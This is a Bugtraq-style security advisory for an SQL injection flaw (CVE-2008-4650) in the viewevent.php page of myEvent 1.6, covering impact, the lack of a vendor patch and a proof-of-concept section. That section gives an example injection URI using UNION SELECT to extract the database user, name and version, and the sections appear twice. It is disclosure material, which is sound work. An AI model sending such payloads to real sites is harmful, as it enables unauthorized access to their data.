myEvent 'viewevent.php' SQL Injection Vulnerability
BID:31773
Info
myEvent 'viewevent.php' SQL Injection Vulnerability
| Bugtraq ID: | 31773 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4650 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 15 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | JosS |
| Vulnerable: |
myWebland myEvent 1.6 |
| Not Vulnerable: | |
Discussion
myEvent 'viewevent.php' SQL Injection Vulnerability
myEvent is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
myEvent 1.6 is vulnerable; other versions may also be affected.
myEvent is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
myEvent 1.6 is vulnerable; other versions may also be affected.
Exploit / POC
myEvent 'viewevent.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/viewevent.php?eventdate='+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/viewevent.php?eventdate='+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*
Solution / Fix
myEvent 'viewevent.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: %[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: %[email protected].